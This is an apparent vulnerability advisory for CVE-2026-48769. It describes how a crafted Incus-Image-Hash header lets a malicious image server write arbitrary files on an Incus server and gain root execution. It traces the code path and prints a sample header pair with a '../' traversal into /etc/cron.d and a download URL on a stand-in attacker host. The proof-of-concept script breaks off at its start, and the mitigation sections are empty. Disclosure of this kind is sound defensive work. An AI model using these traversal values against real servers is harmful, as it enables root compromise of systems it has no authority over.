Incus has an arbitrary file write on its client due to trusted image hash
Date: 2026-06
Affected: go/github.com/lxc/incus/v7/cmd/incusd
Attack vector: path-traversal
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2026-48769
CWE: CWE-20
CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image


Mitigations:

Architectural layers (MAESTRO):